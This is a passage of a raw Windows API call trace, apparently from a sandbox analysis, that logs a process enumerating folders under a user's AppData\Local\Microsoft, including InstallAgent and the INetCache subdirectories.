dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.926] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.927] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent", lpFilePart=0x0) returned 0x3a [0217.927] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\installagent\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.928] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.928] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkpoints", cAlternateFileName="CHECKP~1")) returned 1 [0218.055] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkpoints", cAlternateFileName="CHECKP~1")) returned 0 [0218.056] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0218.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0218.056] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent", lpFilePart=0x0) returned 0x3a [0218.056] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\InstallAgent\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\installagent\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.119] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.IE5", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.IE5", lpFilePart=0x0) returned 0x4b [0219.119] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.IE5\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\content.ie5\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0219.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bc00) returned 1 [0219.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.121] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO", lpFilePart=0x0) returned 0x4b [0219.122] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\content.mso\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa49dfe15, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0xa49dfe15, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0xa49dfe15, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.124] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa49dfe15, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0xa49dfe15, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0xa49dfe15, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.124] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa49dfe15, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0xa49dfe15, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0xa49dfe15, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.124] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.124] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO", lpFilePart=0x0) returned 0x4b [0219.124] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\content.mso\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa49dfe15, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0xa49dfe15, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0xa49dfe15, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.125] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa49dfe15, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0xa49dfe15, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0xa49dfe15, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.125] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa49dfe15, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0xa49dfe15, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0xa49dfe15, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.125] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.125] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word", lpFilePart=0x0) returned 0x4c [0219.125] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\content.word\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6660309e, ftCreationTime.dwHighDateTime=0x1d8a651, ftLastAccessTime.dwLowDateTime=0x6660309e, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x6fe28f7f, ftLastWriteTime.dwHighDateTime=0x1d99cf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.131] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6660309e, ftCreationTime.dwHighDateTime=0x1d8a651, ftLastAccessTime.dwLowDateTime=0x6660309e, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x6fe28f7f, ftLastWriteTime.dwHighDateTime=0x1d99cf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.131] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6660309e, ftCreationTime.dwHighDateTime=0x1d8a651, ftLastAccessTime.dwLowDateTime=0x6660309e, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x6fe28f7f, ftLastWriteTime.dwHighDateTime=0x1d99cf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.131] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.131] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word", lpFilePart=0x0) returned 0x4c [0219.132] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\content.word\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6660309e, ftCreationTime.dwHighDateTime=0x1d8a651, ftLastAccessTime.dwLowDateTime=0x6fe28f7f, ftLastAccessTime.dwHighDateTime=0x1d99cf4, ftLastWriteTime.dwLowDateTime=0x6fe28f7f, ftLastWriteTime.dwHighDateTime=0x1d99cf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5770 [0219.142] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6660309e, ftCreationTime.dwHighDateTime=0x1d8a651, ftLastAccessTime.dwLowDateTime=0x6fe28f7f, ftLastAccessTime.dwHighDateTime=0x1d99cf4, ftLastWriteTime.dwLowDateTime=0x6fe28f7f, ftLastWriteTime.dwHighDateTime=0x1d99cf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.142] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6660309e, ftCreationTime.dwHighDateTime=0x1d8a651, ftLastAccessTime.dwLowDateTime=0x6fe28f7f, ftLastAccessTime.dwHighDateTime=0x1d99cf4, ftLastWriteTime.dwLowDateTime=0x6fe28f7f, ftLastWriteTime.dwHighDateTime=0x1d99cf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.142] FindClose (in: hFindFile=0x1d1f5770 | out: hFindFile=0x1d1f5770) returned 1 [0219.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.143] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE", lpFilePart=0x0) returned 0x42 [0219.143] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430a0153, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfddeb569, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.143] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430a0153, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfddeb569, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.144] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfddeb569, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2JAOHWI3", cAlternateFileName="")) returned 1 [0219.144] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfddeb569, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="77QWA8YB", cAlternateFileName="")) returned 1 [0219.144] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfddeb569, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AV0JF3E9", cAlternateFileName="")) returned 1 [0219.144] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x43e7bc61, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43e7bc61, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43e7bc61, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0219.144] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfddeb569, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTY72OX4", cAlternateFileName="")) returned 1 [0219.144] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfddeb569, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTY72OX4", cAlternateFileName="")) returned 0 [0219.145] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.145] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE", lpFilePart=0x0) returned 0x42 [0219.145] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430a0153, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfddeb569, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0219.145] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430a0153, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfddeb569, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.145] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfddeb569, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2JAOHWI3", cAlternateFileName="")) returned 1 [0219.146] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfddeb569, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="77QWA8YB", cAlternateFileName="")) returned 1 [0219.146] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfddeb569, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AV0JF3E9", cAlternateFileName="")) returned 1 [0219.146] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x43e7bc61, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43e7bc61, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43e7bc61, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0219.146] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfddeb569, ftCreationTime.dwHighDateTime=0x1d99d1c, ftLastAccessTime.dwLowDateTime=0xfddeb569, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xfddeb569, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTY72OX4", cAlternateFileName="")) returned 1 [0219.146] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.146] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0219.146] SetThreadErrorMode 